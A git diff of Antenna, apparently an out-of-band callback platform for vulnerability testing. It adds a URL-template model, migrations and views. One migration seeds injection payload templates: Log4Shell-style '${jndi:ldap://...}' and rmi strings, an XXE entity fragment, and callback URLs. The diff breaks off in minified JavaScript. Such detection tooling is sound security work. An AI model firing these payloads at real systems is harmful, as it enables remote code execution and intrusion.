diff --git a/modules/config/views.py b/modules/config/views.py index adf8fde..3f79ef9 100644 --- a/modules/config/views.py +++ b/modules/config/views.py @@ -22,12 +22,14 @@ class ConfigViewSet(mixins.ListModelMixin, GenericViewSet): def get_paginated_response(self, data): _data = {} - mapping = {"1": True, "true": True, "0": False, "false": False} + mapping = {"1": True, "true": True, "0": False, "false": False, "True": True, "False": False} for i in data: + print(i) if i["name"] == "REGISTER_TYPE": _data[i["name"]] = int(i['value']) else: _data[i["name"]] = mapping.get(i['value'], i['value']) + print(_data) return Response(_data, status=status.HTTP_200_OK) @action(methods=["POST"], detail=False, permission_classes=[IsAdminUser, ]) @@ -76,6 +78,7 @@ def check_version(self, requests, *args, **kwargs): except Exception as e: return Response({"code": 0, "message": f"检查更新错误,原因:{e}"}, status=status.HTTP_200_OK) + class DnsConfigViewSet(mixins.ListModelMixin, GenericViewSet): queryset = DnsConfig.objects.all().order_by("id") serializer_class = DnsConfigSerializer diff --git a/modules/message/views.py b/modules/message/views.py index 0f88f51..0cdfe6c 100644 --- a/modules/message/views.py +++ b/modules/message/views.py @@ -102,7 +102,7 @@ def show_dashboard_url(user_id): url_list = [ { "task_name": tci.task.name, - tci.template.name: get_payload(tci.task_config.key, tci.template.payload) + tci.template.name: get_payload(tci.task_config, tci.template.payload) } for tci in task_config_item_record[:30] ] return url_list diff --git a/modules/task/migrations/0003_taskconfigitem_url_template.py b/modules/task/migrations/0003_taskconfigitem_url_template.py new file mode 100644 index 0000000..6b72e6d --- /dev/null +++ b/modules/task/migrations/0003_taskconfigitem_url_template.py @@ -0,0 +1,20 @@ +# Generated by Django 3.2.9 on 2023-04-26 03:48 + +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + dependencies = [ + ('template', '0004_urltemplate'), + ('task', '0002_auto_20220826_1025'), + ] + + operations = [ + migrations.AddField( + model_name='taskconfigitem', + name='url_template', + field=models.ForeignKey(db_column=False, help_text='链接模板', null=True, on_delete=django.db.models.deletion.CASCADE, related_name='url_template_task_config_item', to='template.urltemplate'), + ), + ] diff --git a/modules/task/migrations/0004_auto_20230523_1410.py b/modules/task/migrations/0004_auto_20230523_1410.py new file mode 100644 index 0000000..70a78b9 --- /dev/null +++ b/modules/task/migrations/0004_auto_20230523_1410.py @@ -0,0 +1,24 @@ +# Generated by Django 3.2.9 on 2023-05-23 06:10 + +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + dependencies = [ + ('template', '0004_urltemplate'), + ('task', '0003_taskconfigitem_url_template'), + ] + + operations = [ + migrations.RemoveField( + model_name='taskconfigitem', + name='url_template', + ), + migrations.AddField( + model_name='taskconfig', + name='url_template', + field=models.ForeignKey(db_column=False, help_text='链接模板', null=True, on_delete=django.db.models.deletion.CASCADE, related_name='url_template_task_config_item', to='template.urltemplate'), + ), + ] diff --git a/modules/task/models.py b/modules/task/models.py index 0fd3a26..f0aeb45 100644 --- a/modules/task/models.py +++ b/modules/task/models.py @@ -1,7 +1,7 @@ from django.contrib.auth.models import User from django.db import models from modules.task.constants import TASK_TMP, TASK_STATUS, SHOW_DASHBOARD -from modules.template.models import Template, TemplateConfigItem +from modules.template.models import Template, TemplateConfigItem, UrlTemplate class Task(models.Model): @@ -33,6 +33,10 @@ class TaskConfig(models.Model): help_text="所属任务") key = models.CharField(max_length=32, help_text='key') + url_template = models.ForeignKey(UrlTemplate, related_name='url_template_task_config_item', + on_delete=models.CASCADE, db_column=False, + null=True, help_text="链接模板") + class Meta: db_table = 'task_config' diff --git a/modules/task/serializers.py b/modules/task/serializers.py index f5cf55f..b00d441 100644 --- a/modules/task/serializers.py +++ b/modules/task/serializers.py @@ -22,6 +22,7 @@ class CreateTaskConfigItemSerializer(serializers.Serializer): template = serializers.IntegerField(required=True, help_text="组件id") template_config_item_list = serializers.JSONField(required=True, help_text="组件配置列表") task = serializers.IntegerField(required=True, help_text="任务id") + url_template = serializers.IntegerField(required=True, help_text="url模板id") class TaskConfigSerializer(serializers.ModelSerializer): diff --git a/modules/task/views.py b/modules/task/views.py index f3b8da7..4a298aa 100644 --- a/modules/task/views.py +++ b/modules/task/views.py @@ -3,7 +3,7 @@ from django.db import transaction from modules.api.models import ApiKey -from modules.template.models import Template +from modules.template.models import Template, UrlTemplate from django_filters.rest_framework import DjangoFilterBackend from modules.task.constants import TASK_STATUS, TASK_TMP @@ -137,67 +137,74 @@ def get_result_data(data): """ 修改任务详情接口返回格式 """ - if not data: - return Response(data={}, status=status.HTTP_200_OK) - task_id = data[0]["task"] - task_record = Task.objects.get(id=task_id) - - task_configs = TaskConfig.objects.in_bulk(item["task_config"] for item in data) - templates = Template.objects.in_bulk(item["template"] for item in data) - - listen_data_list = [{ - "task": item["task"], - "template": item["template"], - "template_name": templates[item["template"]].name, - "template_type": templates[item["template"]].type, - "template_choice_type": templates[item["template"]].choice_type, - "task_config_id": item["task_config"], - "key": get_payload(task_configs[item["task_config"]].key, templates[item["template"]].payload), - "task_config_item_list": [{ - "template_config_item": item["template_config_item"], - "id": item["id"], - "value": item["value"] - }] - } for item in data if templates[item["template"]].type == 1] - - payload_data_list = [] - for item in data: - task_config = task_configs[item["task_config"]] - template = templates[item["template"]] - if template.type != 1: - url = get_payload(task_config.key, template.payload) - task_config_item_list = { + try: + if not data: + return Response(data={}, status=status.HTTP_200_OK) + task_id = data[0]["task"] + task_record = Task.objects.get(id=task_id) + + task_configs = TaskConfig.objects.in_bulk(item["task_config"] for item in data) + templates = Template.objects.in_bulk(item["template"] for item in data) + listen_data_list = [{ + "task": item["task"], + "template": item["template"], + "template_name": templates[item["template"]].name, + "template_type": templates[item["template"]].type, + "template_choice_type": templates[item["template"]].choice_type, + "task_config_id": item["task_config"], + "url_template": task_configs[item["task_config"]].url_template_id if task_configs[ + item["task_config"]].url_template_id else UrlTemplate.objects.filter(template_id=item["template"]).first().id, + "key": get_payload(task_configs[item["task_config"]], templates[item["template"]].payload), + "task_config_item_list": [{ "template_config_item": item["template_config_item"], "id": item["id"], "value": item["value"] - } - for payload_data in payload_data_list: - if payload_data["task_config_id"] == item["task_config"]: - payload_data["task_config_item_list"].append(task_config_item_list) - break - else: - payload_data_list.append({ - "task": item["task"], - "template": item["template"], - "template_name": template.name, - "template_type": template.type, - "template_choice_type": template.choice_type, - "task_config_id": item["task_config"], - "key": url, - "task_config_item_list": [task_config_item_list] - }) - - result = { - "task_info": { - "task_id": task_id, - "task_name": task_record.name, - "callback_url": task_record.callback_url, - "callback_url_headers": task_record.callback_url_headers, - "show_dashboard": bool(task_record.show_dashboard)}, - "listen_template_info": listen_data_list, - "payload_template_info": payload_data_list, - } - return Response(result, status=status.HTTP_200_OK) + }] + } for item in data if templates[item["template"]].type == 1] + + payload_data_list = [] + for item in data: + task_config = task_configs[item["task_config"]] + template = templates[item["template"]] + if template.type != 1: + url = get_payload(task_config, template.payload) + task_config_item_list = { + "template_config_item": item["template_config_item"], + "id": item["id"], + "value": item["value"] + } + for payload_data in payload_data_list: + if payload_data["task_config_id"] == item["task_config"]: + payload_data["task_config_item_list"].append(task_config_item_list) + break + else: + payload_data_list.append({ + "task": item["task"], + "template": item["template"], + "template_name": template.name, + "template_type": template.type, + "template_choice_type": template.choice_type, + "task_config_id": item["task_config"], + "url_template": task_configs[item["task_config"]].url_template_id if task_configs[ + item["task_config"]].url_template_id else UrlTemplate.objects.filter(template_id=item["template"]).first().id, + "key": url, + "task_config_item_list": [task_config_item_list] + }) + + result = { + "task_info": { + "task_id": task_id, + "task_name": task_record.name, + "callback_url": task_record.callback_url, + "callback_url_headers": task_record.callback_url_headers, + "show_dashboard": bool(task_record.show_dashboard)}, + "listen_template_info": listen_data_list, + "payload_template_info": payload_data_list, + } + return Response(result, status=status.HTTP_200_OK) + except Exception as e: + print(repr(e)) + return Response({"code": 0, "message": f"错误原因:{e}"}, status=status.HTTP_200_OK) def list(self, request, *args, **kwargs): queryset = self.filter_queryset(self.get_queryset()) @@ -210,10 +217,10 @@ def create(self, request, *args, **kwargs): { "task": 1, "template": 32, + "url_template":1, "template_config_item_list": [ { "template_config_item": 52, - "id": 7, "value": { "ip": "219.137.78.61", "port": 75 @@ -226,10 +233,11 @@ def create(self, request, *args, **kwargs): serializer.is_valid(raise_exception=True) task_id = serializer.data["task"] template_id = serializer.data["template"] + url_template_id = serializer.data["url_template"] code = generate_code(4) with transaction.atomic(): - task_config = TaskConfig.objects.create(task_id=task_id, key=code) + task_config = TaskConfig.objects.create(task_id=task_id, key=code, url_template_id=url_template_id) template_config_item_list = request.data["template_config_item_list"] task_config_items = [ TaskConfigItem( @@ -255,6 +263,7 @@ def update_config(self, request, *args, **kwargs): "task": 242, "template": 4, "task_config":5, + "url_template":1, "template_config_item_list": [ { "id":1, @@ -272,6 +281,7 @@ def update_config(self, request, *args, **kwargs): template_id = serializer.data["template"] task_config_id = serializer.data["task_config"] template_config_item_list = request.data["template_config_item_list"] + url_template_id = request.data["url_template"] with transaction.atomic(): task_config = TaskConfig.objects.filter(id=task_config_id, task__user_id=self.request.user.id).first() if not task_config: @@ -283,7 +293,7 @@ def update_config(self, request, *args, **kwargs): TaskConfig.objects.filter(id=task_config_id).delete() # 创建新的任务配置 - new_task_config = TaskConfig.objects.create(task_id=task_id, key=old_key) + new_task_config = TaskConfig.objects.create(task_id=task_id, key=old_key, url_template_id=url_template_id) new_task_config_id = new_task_config.id # 创建新的任务配置项 @@ -337,13 +347,11 @@ def api(self, request, *args, **kwargs): task_config_items = TaskConfigItem.objects.filter( task__user=key.user_id, task__status=TASK_STATUS.OPEN, task__show_dashboard=True - ).values('template__payload', 'task_config__key') + ).values('template__payload', 'task_config') payload_list = set() for task_config_item in task_config_items: - payload = get_payload(task_config_item['task_config__key'], task_config_item['template__payload']) + payload = get_payload(task_config_item['task_config'], task_config_item['template__payload']) if payload: payload_list.add(payload) return Response(data={"payload": payload_list}, status=status.HTTP_200_OK) - - from django.db import transaction diff --git a/modules/template/depend/listen/dnslog.py b/modules/template/depend/listen/dnslog.py index 65703c7..40359d0 100644 --- a/modules/template/depend/listen/dnslog.py +++ b/modules/template/depend/listen/dnslog.py @@ -26,6 +26,11 @@ from modules.template.depend.base import * +def get_dns_record(): + close_old_connections() + return DnsConfig.objects.all() + + class DNSServerFactory(server.DNSServerFactory): def handleQuery(self, message, protocol, address): # 感谢 suppress\excessive 同学发现python3.6版本运行bug,已fix @@ -55,7 +60,7 @@ def __init__(self): self._peer_address = None self.dns_config = {} close_old_connections() - self.dns_recoed = DnsConfig.objects.all() + self.dns_recoed = get_dns_record() self.dns_config_domain = [_dns.domain for _dns in self.dns_recoed] for _dns in self.dns_recoed: self.dns_config[_dns.domain] = cycle(_dns.value) @@ -92,6 +97,7 @@ def _doDynamicResponse(self, query): for domain in self.dns_config_domain: print("匹配域名", domain, "匹配结果:", fnmatch.fnmatch(name.decode("utf-8").lower(), domain.lower())) if fnmatch.fnmatch(name.decode("utf-8").lower(), domain.lower()): + close_old_connections() if len(list(self.dns_recoed.get(domain=domain.lower()).value)) == 1: ttl = 60 else: @@ -99,7 +105,8 @@ def _doDynamicResponse(self, query): print("ttl:", ttl, flush=True) answers.append(dns.RRHeader( name=name, - payload=dns.Record_A(address=bytes(next(self.dns_config[domain.lower()]), encoding="utf-8")), ttl=ttl)) + payload=dns.Record_A(address=bytes(next(self.dns_config[domain.lower()]), encoding="utf-8")), + ttl=ttl)) # 存储数据 udomain = re.findall(r'\.?([^\.]+)\.%s' % setting.DNS_DOMAIN.strip("*."), name.decode("utf-8").lower()) if udomain: diff --git a/modules/template/depend/listen/jndi.py b/modules/template/depend/listen/jndi.py index d355bff..e2f3279 100644 --- a/modules/template/depend/listen/jndi.py +++ b/modules/template/depend/listen/jndi.py @@ -87,7 +87,7 @@ def domessage(self, coon, addr): task_id = task_config_record.task_id username = task_config_record.task.user.username send_email_message(username, remote_addr) - Message.objects.create(domain=self.domain, remote_addr=remote_addr, uri=path, + Message.objects.create(domain=self.domain + "/" + self.key, remote_addr=remote_addr, uri=path, message_type=MESSAGE_TYPES.LDAP, task_id=task_id, template_id=10) send_message(url=self.domain, remote_addr=remote_addr, uri=path, header='', message_type=MESSAGE_TYPES.LDAP, content='', task_id=task_id) @@ -105,7 +105,7 @@ def domessage(self, coon, addr): username = task_config_record.task.user.username send_email_message(username, remote_addr) task_id = task_config_record.task_id - Message.objects.create(domain=self.domain, remote_addr=remote_addr, uri=path, + Message.objects.create(domain=self.domain + "/" + self.key, remote_addr=remote_addr, uri=path, message_type=MESSAGE_TYPES.RMI, task_id=task_id, template_id=10) send_message(url=self.domain, remote_addr=remote_addr, uri=path, header='', message_type=MESSAGE_TYPES.RMI, content='', task_id=task_id) diff --git a/modules/template/migrations/0004_urltemplate.py b/modules/template/migrations/0004_urltemplate.py new file mode 100644 index 0000000..f00da72 --- /dev/null +++ b/modules/template/migrations/0004_urltemplate.py @@ -0,0 +1,25 @@ +# Generated by Django 3.2.9 on 2023-04-26 03:48 + +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + dependencies = [ + ('template', '0003_template_code'), + ] + + operations = [ + migrations.CreateModel( + name='UrlTemplate', + fields=[ + ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('payload', models.TextField(default='http://{domain}/{key}', help_text='利用代码实例')), + ('template', models.ForeignKey(db_constraint=False, help_text='所属模板', on_delete=django.db.models.deletion.CASCADE, related_name='template_url_template', to='template.template')), + ], + options={ + 'db_table': 'template_url', + }, + ), + ] diff --git a/modules/template/migrations/0005_auto_20230605_1104.py b/modules/template/migrations/0005_auto_20230605_1104.py new file mode 100644 index 0000000..3afd2a9 --- /dev/null +++ b/modules/template/migrations/0005_auto_20230605_1104.py @@ -0,0 +1,33 @@ +# Generated by Django 3.2.9 on 2023-06-05 03:04 + +from django.db import migrations + + +class Migration(migrations.Migration): + dependencies = [ + ('template', '0004_urltemplate'), + ] + + operations = [ + migrations.RunSQL( + """ +INSERT INTO antenna.template_url(id, payload, template_id) VALUES (1,'{key}.{domain}',1); +INSERT INTO antenna.template_url(id, payload, template_id) VALUES (2,'ldap://{domain}:{jndi_port}/{key}',2); +INSERT INTO antenna.template_url(id, payload, template_id) VALUES (3,'${jndi:ldap://{domain}:{jndi_port}/{key}}',2); +INSERT INTO antenna.template_url(id, payload, template_id) VALUES (4,'rmi://{domain}:{jndi_port}/{key}',3); +INSERT INTO antenna.template_url(id, payload, template_id) VALUES (5,'${jndi:rmi://{domain}:{jndi_port}/{key}}',3); +INSERT INTO antenna.template_url(id, payload, template_id) VALUES (6,'',4); +INSERT INTO antenna.template_url(id, payload, template_id) VALUES (7,'http://{domain}/{key}',5); +INSERT INTO antenna.template_url(id, payload, template_id) VALUES (8,' + + %xd; +]> +&bbbb;',6); +INSERT INTO antenna.template_url(id, payload, template_id) VALUES (9,'http://{key}.{domain}',7); +INSERT INTO antenna.template_url(id, payload, template_id) VALUES (10,'ftp://{key}:123456@{domain}/antenna',8); +INSERT INTO antenna.template_url(id, payload, template_id) VALUES (11,'https://{key}.{domain}',9); + + +""" + ), ] diff --git a/modules/template/models.py b/modules/template/models.py index c1ca905..37f5b83 100644 --- a/modules/template/models.py +++ b/modules/template/models.py @@ -41,3 +41,12 @@ class TemplateConfigItem(models.Model): class Meta: db_table = 'template_config_item' + + +class UrlTemplate(models.Model): + payload = models.TextField(default="http://{domain}/{key}", help_text='利用代码实例') + template = models.ForeignKey(Template, related_name='template_url_template', on_delete=models.CASCADE, + db_constraint=False, help_text="所属模板") + + class Meta: + db_table = 'template_url' diff --git a/modules/template/serializers.py b/modules/template/serializers.py index 8b4d6b8..d7f9f7e 100644 --- a/modules/template/serializers.py +++ b/modules/template/serializers.py @@ -1,8 +1,7 @@ -from pip._internal.cli.cmdoptions import help_ from rest_framework import serializers from rest_framework.exceptions import ValidationError from rest_framework.validators import UniqueValidator -from modules.template.models import Template, TemplateConfigItem +from modules.template.models import Template, TemplateConfigItem, UrlTemplate class TemplateInfoSerializer(serializers.ModelSerializer): @@ -13,7 +12,7 @@ class TemplateInfoSerializer(serializers.ModelSerializer): title = serializers.CharField(required=True, validators=[UniqueValidator(queryset=Template.objects. all(), message="标题名已存在")], help_text="组件标题") - payload = serializers.CharField(required=True, help_text="组件实例格式") + payload = serializers.CharField(help_text="组件实例格式") desc = serializers.CharField(allow_blank=True, default="", help_text="组件介绍") choice_type = serializers.IntegerField(required=True, help_text="组件是否支持多选") is_private = serializers.IntegerField(required=True, help_text="组件是否公开") @@ -41,7 +40,7 @@ class UpdateTemplateInfoSerializer(serializers.Serializer): name = serializers.CharField(required=True, help_text="组件名") title = serializers.CharField(required=True, help_text="组件标题") desc = serializers.CharField(allow_blank=True, default="", help_text="组件介绍") - payload = serializers.CharField(required=True, help_text="组件实例格式") + payload_list = serializers.JSONField(required=True, help_text="组件实例格式列表") choice_type = serializers.IntegerField(required=True, help_text="组件是否支持多选") is_private = serializers.IntegerField(required=True, help_text="组件是否公开") type = serializers.IntegerField(required=True, help_text="组件类型") @@ -76,3 +75,9 @@ class TemplateConfigItemSerializer(serializers.ModelSerializer): class Meta: model = TemplateConfigItem fields = "__all__" + + +class UrlTemplateSerializer(serializers.ModelSerializer): + class Meta: + model = UrlTemplate + fields = "__all__" diff --git a/modules/template/urls.py b/modules/template/urls.py index 16a643f..ee9f72a 100644 --- a/modules/template/urls.py +++ b/modules/template/urls.py @@ -1,7 +1,7 @@ from django.urls import path from rest_framework.routers import DefaultRouter -from modules.template.views import TemplateViewSet, TemplateConfigItemViewSet +from modules.template.views import TemplateViewSet, TemplateConfigItemViewSet,UrlTemplateViewSet urlpatterns = [ @@ -11,5 +11,6 @@ router.register(r'manage', TemplateViewSet, basename='templates') router.register(r'configs', TemplateConfigItemViewSet, basename='template_config_iterm') +router.register(r'url', UrlTemplateViewSet, basename='url_templates') urlpatterns = router.urls + urlpatterns diff --git a/modules/template/views.py b/modules/template/views.py index 59391d5..4de2c5f 100644 --- a/modules/template/views.py +++ b/modules/template/views.py @@ -13,9 +13,9 @@ from modules.template.choose_template import load_template, view_template_code from modules.template.constants import PRIVATE_TYPES, TEMPLATE_TYPES -from modules.template.models import Template, TemplateConfigItem +from modules.template.models import Template, TemplateConfigItem, UrlTemplate from modules.template.serializers import (DeleteTmplateSerializer, TemplateConfigItemSerializer, TemplateInfoSerializer, - UpdateTemplateInfoSerializer, ) + UpdateTemplateInfoSerializer, UrlTemplateSerializer, ) from utils.helper import generate_code BASE_PATH = str(os.path.abspath(os.path.dirname(__file__))) @@ -118,6 +118,7 @@ def template_info(self, request, *args, **kwargs): }, "type":1, "code":"", + "payload":"", "template_item_info":[ { "item_name":"xss_config_item", @@ -131,15 +132,23 @@ def template_info(self, request, *args, **kwargs): """ try: template_id = int(request.query_params.get('template', 0)) - template_record = Template.objects.filter(id=template_id, user_id=self.request.user.id).first() + template_record = Template.objects.filter( + Q(id=template_id), + Q(user_id=self.request.user.id) | Q(template_url_template__isnull=True) + ).prefetch_related('template_url_template').first() + if not template_record.user: return Response({"code": 0, "message": f"没有权限查看该组件"}, status=status.HTTP_200_OK) template_info = model_to_dict(template_record) - item_record = TemplateConfigItem.objects.filter(template_id=template_id).values('name', 'config') item_info = [{"item_name": item["name"], "config": item["config"]} for item in item_record] template_info["template_item_info"] = item_info + # 获取payload模板列表 + template_payload_list = [url_template.payload for url_template in + template_record.template_url_template.all()] + template_info["payload_list"] = template_payload_list + # 如果code没有及时更新,重新更新数据库 if template_info["code"] == "this is a test code": _code = view_template_code(filename=template_info["file_name"], template_type=template_info["type"]) @@ -166,6 +175,9 @@ def update_template(self, request, *args, **kwargs): "url_type": 1, "type":1, "code":"", + "payload":"", + "payload_list":[ + ], "template_item_info": [{ "item_name": "xss_config_item", "config": ["a", "b"] @@ -182,11 +194,15 @@ def update_template(self, request, *args, **kwargs): serializer.is_valid(raise_exception=True) template_id = int(data["template_id"]) template_item_info = request.data["template_item_info"] + payload_list = request.data.get("payload_list", []) + if "payload_list" in data.keys(): + del data["payload_list"] del data["template_item_info"] del data["template_id"] data["user_id"] = self.request.user.id data["author"] = self.request.user.username - + if "payload" not in data.keys(): + data["payload"] = Template.objects.filter(id=template_id).first().payload # 查询旧有的TemplateConfigItem old_config_items = {item.name: item for item in TemplateConfigItem.objects.filter(template_id=template_id)} template = Template.objects.select_for_update().get(id=template_id) @@ -195,6 +211,15 @@ def update_template(self, request, *args, **kwargs): template.__dict__.update(**data) template.save() + # 更新或新增 UrlTemplate + url_template = [] + if payload_list: + for payload in payload_list: + payload = payload.strip() + obj, created = UrlTemplate.objects.get_or_create(template_id=template_id,payload=payload) + # 删除旧数据 + UrlTemplate.objects.filter(template_id=template_id).exclude(payload__in=payload_list).delete() + # 更新或新增 TemplateConfigItem for template_item in template_item_info: item_name = template_item["item_name"] @@ -275,3 +300,11 @@ class TemplateConfigItemViewSet(mixins.ListModelMixin, GenericViewSet): filter_backends = (DjangoFilterBackend, filters.SearchFilter, filters.OrderingFilter) filter_fields = ("template",) permission_classes = (IsAuthenticated,) + + +class UrlTemplateViewSet(mixins.ListModelMixin, GenericViewSet): + queryset = UrlTemplate.objects.all().order_by("-id") + serializer_class = UrlTemplateSerializer + filter_backends = (DjangoFilterBackend, filters.SearchFilter, filters.OrderingFilter) + filter_fields = ("template",) + permission_classes = (IsAuthenticated,) diff --git a/static/css/chunk-14f9b6b5.1df74434.css b/static/css/chunk-14f9b6b5.1df74434.css deleted file mode 100644 index 789569e..0000000 --- a/static/css/chunk-14f9b6b5.1df74434.css +++ /dev/null @@ -1 +0,0 @@ -.copy[data-v-2eccf1f6]{color:rgba(0,0,0,.45)}.anticon-check[data-v-2eccf1f6]{color:#52c41a}.search-area[data-v-0d3dc430]{margin-bottom:5px;line-height:32px}.platform .ant-form-item[data-v-0d3dc430]{margin-bottom:12px}.platform .copy[data-v-0d3dc430]{color:rgba(0,0,0,.45)}.platform .anticon-check[data-v-0d3dc430]{color:#52c41a}.dropdownClassName .ant-select-dropdown-content li i.anticon[data-v-0d3dc430]{display:none!important} \ No newline at end of file diff --git a/static/css/chunk-a9681bc2.37b0c32b.css b/static/css/chunk-2bdabd8c.37b0c32b.css similarity index 100% rename from static/css/chunk-a9681bc2.37b0c32b.css rename to static/css/chunk-2bdabd8c.37b0c32b.css diff --git a/static/css/chunk-7b30ad8e.f9e1a8a9.css b/static/css/chunk-bf3dd8b2.1906208f.css similarity index 76% rename from static/css/chunk-7b30ad8e.f9e1a8a9.css rename to static/css/chunk-bf3dd8b2.1906208f.css index 48b32de..20d5c37 100644 --- a/static/css/chunk-7b30ad8e.f9e1a8a9.css +++ b/static/css/chunk-bf3dd8b2.1906208f.css @@ -1 +1 @@ -.mgLeft10[data-v-173c12bf]{margin-left:10px}.edtorClass[data-v-173c12bf]{position:relative}.edtorClass .edtorIcon[data-v-173c12bf]{position:absolute;z-index:100;right:0;font-size:20px;top:-20px;cursor:pointer}.alertContain[data-v-173c12bf]{border:1px solid #e8e8e8;position:relative;padding-top:30px;margin-top:10px;width:342px}.alertContain .closeIcon[data-v-173c12bf]{font-size:20px;position:absolute;top:10px;right:10px;cursor:pointer}.card-list[data-v-3c071100] .ant-card-body:hover .ant-card-meta-title>a{color:#1890ff}.card-list[data-v-3c071100] .ant-card-meta-title{margin-bottom:12px}.card-list[data-v-3c071100] .ant-card-meta-title>a{display:inline-block;max-width:100%;color:rgba(0,0,0,.85)}.card-list[data-v-3c071100] .meta-content{position:relative;overflow:hidden;text-overflow:ellipsis;display:-webkit-box;height:64px;-webkit-line-clamp:3;-webkit-box-orient:vertical;margin-bottom:1em}.ant-card-actions[data-v-3c071100]{background:#f7f9fa}.ant-card-actions li[data-v-3c071100]{float:left;text-align:center;margin:12px 0;color:rgba(0,0,0,.45);width:50%}.ant-card-actions li[data-v-3c071100]:not(:last-child){border-right:1px solid #e8e8e8}.ant-card-actions li a[data-v-3c071100]{color:rgba(0,0,0,.45);line-height:22px;display:inline-block;width:100%}.ant-card-actions li a[data-v-3c071100]:hover{color:#1890ff}.new-btn[data-v-3c071100]{background-color:#fff;border-radius:2px;width:100%;height:225px} \ No newline at end of file +.mgLeft10[data-v-274f3a61]{margin-left:10px}.edtorClass[data-v-274f3a61]{position:relative}.edtorClass .edtorIcon[data-v-274f3a61]{position:absolute;z-index:100;right:0;font-size:20px;top:-20px;cursor:pointer}.alertContain[data-v-274f3a61]{border:1px solid #e8e8e8;position:relative;padding-top:30px;margin-top:10px;width:342px}.alertContain .closeIcon[data-v-274f3a61]{font-size:20px;position:absolute;top:10px;right:10px;cursor:pointer}.card-list[data-v-3c071100] .ant-card-body:hover .ant-card-meta-title>a{color:#1890ff}.card-list[data-v-3c071100] .ant-card-meta-title{margin-bottom:12px}.card-list[data-v-3c071100] .ant-card-meta-title>a{display:inline-block;max-width:100%;color:rgba(0,0,0,.85)}.card-list[data-v-3c071100] .meta-content{position:relative;overflow:hidden;text-overflow:ellipsis;display:-webkit-box;height:64px;-webkit-line-clamp:3;-webkit-box-orient:vertical;margin-bottom:1em}.ant-card-actions[data-v-3c071100]{background:#f7f9fa}.ant-card-actions li[data-v-3c071100]{float:left;text-align:center;margin:12px 0;color:rgba(0,0,0,.45);width:50%}.ant-card-actions li[data-v-3c071100]:not(:last-child){border-right:1px solid #e8e8e8}.ant-card-actions li a[data-v-3c071100]{color:rgba(0,0,0,.45);line-height:22px;display:inline-block;width:100%}.ant-card-actions li a[data-v-3c071100]:hover{color:#1890ff}.new-btn[data-v-3c071100]{background-color:#fff;border-radius:2px;width:100%;height:225px} \ No newline at end of file diff --git a/static/css/chunk-c1263c66.c4c47c2f.css b/static/css/chunk-c1263c66.c4c47c2f.css new file mode 100644 index 0000000..b03692e --- /dev/null +++ b/static/css/chunk-c1263c66.c4c47c2f.css @@ -0,0 +1 @@ +.copy[data-v-2eccf1f6]{color:rgba(0,0,0,.45)}.anticon-check[data-v-2eccf1f6]{color:#52c41a}.search-area[data-v-c872cd20]{margin-bottom:5px;line-height:32px}.platform .ant-form-item[data-v-c872cd20]{margin-bottom:12px}.platform .copy[data-v-c872cd20]{color:rgba(0,0,0,.45)}.platform .anticon-check[data-v-c872cd20]{color:#52c41a}.dropdownClassName .ant-select-dropdown-content li i.anticon[data-v-c872cd20]{display:none!important} \ No newline at end of file diff --git a/static/index.html b/static/index.html index 4a2b716..a5d7866 100644 --- a/static/index.html +++ b/static/index.html @@ -1 +1 @@ -Antenna
\ No newline at end of file +Antenna
\ No newline at end of file diff --git a/static/js/app.8b50147e.js b/static/js/app.8b50147e.js deleted file mode 100644 index 2593201..0000000 --- a/static/js/app.8b50147e.js +++ /dev/null @@ -1 +0,0 @@ -(function(e){function t(t){for(var s,n,i=t[0],c=t[1],u=t[2],l=0,d=[];l{let{response:t}=e;return 401===t.status?(s["a"].error({message:"err",description:"token过期,登录态失效,即将跳到登陆"}),sessionStorage.clear(),void setTimeout(()=>{o["a"].push({name:"login"})},2e3)):(t.data.message?s["a"].error({message:"err",description:t.data.message}):s["a"].error({message:"err",description:`${t.status} ${t.statusText} 请稍后再试`}),Promise.reject())};c.interceptors.request.use(e=>{let t=sessionStorage.getItem("token");return t&&(e.headers.Authorization="Token "+t),e},u),c.interceptors.response.use(e=>{const t=e.data;return t},u);var l={all(e){return r.a.all(e)},post(e,t){return c({method:"POST",url:e,data:JSON.stringify(t),headers:{"Content-Type":"application/json"}})},pat(e,t){return c({method:"patch",url:e,data:JSON.stringify(t),headers:{"Content-Type":"application/json"}})},put(e,t){return c({method:"PUT",url:e,data:JSON.stringify(t),headers:{"Content-Type":"application/json"}})},get(e,t){return c({method:"get",url:e,params:t})},del(e,t){return c({method:"delete",url:e,params:t})}};t["a"]={all(e){return l.all(e)},getLogin(e){return l.post("/api/v1/auth/user/login/",e)},getSendmail(e){return l.post("/api/v1/auth/sendmail/",e)},getRegister(e){return l.post("/api/v1/auth/user/register/",e)},getForgetPassword(e){return l.post("/api/v1/auth/user/forget_password/",e)},getLogout(e){return l.get("/api/v1/auth/user/logout/",e)},getChangePassword(e){return l.post("/api/v1/auth/user/change_password/",e)},getUser(e){return l.get("/api/v1/auth/user/",e)},getInvitCode(){return l.get("/api/v1/auth/user/invite_code/")},getChangeUserStatus(e,t){return l.pat(`/api/v1/auth/user/${e}/`,t)},getSendMail(e){return l.post("/api/v1/auth/sendmail/test/",e)},getManage(e){return l.get("/api/v1/messages/manage/",e)},getManageDelete(e){return l.del("/api/v1/messages/manage/multiple_delete/",e)},getOpenAPI(){return l.get("/api/v1/openapi/key/")},getRefreshOpenAPI(){return l.get("/api/v1/openapi/key/refresh/")},getOpenAPIUrl(){return l.get("/api/v1/openapi/key/url_list/")},getTemplatesManage(e){return l.get("/api/v1/templates/manage/",e)},getConfigsManage(e){return l.get("/api/v1/configs/manage/",e)},getConfigsRenew(e){return l.post("/api/v1/configs/manage/platform_update/",e)},getConfigsProtocalUpdate(e){return l.post("/api/v1/configs/manage/protocal_update/",e)},getTasksManage(e){return l.get("/api/v1/tasks/manage/",e)},create_tmp_task(e){return l.get("/api/v1/tasks/manage/create_tmp_task/",e)},getTasksConfigs(e){return l.get("/api/v1/tasks/configs/",e)},cancel_tmp_task(e){return l.post("/api/v1/tasks/manage/cancel_tmp_task/",e)},getTemplatessConfigs(e){return l.get("/api/v1/templates/configs/",e)},getTasksManageStatus(e){return l.post("/api/v1/tasks/manage/multi_update_status/",e)},getTasksManageDele(e){return l.del("/api/v1/tasks/manage/multiple_delete/",e)},getTasksManageEdit(e,t){return l.pat(`/api/v1/tasks/manage/${e}/`,t)},getTasksConfigsDel(e){return 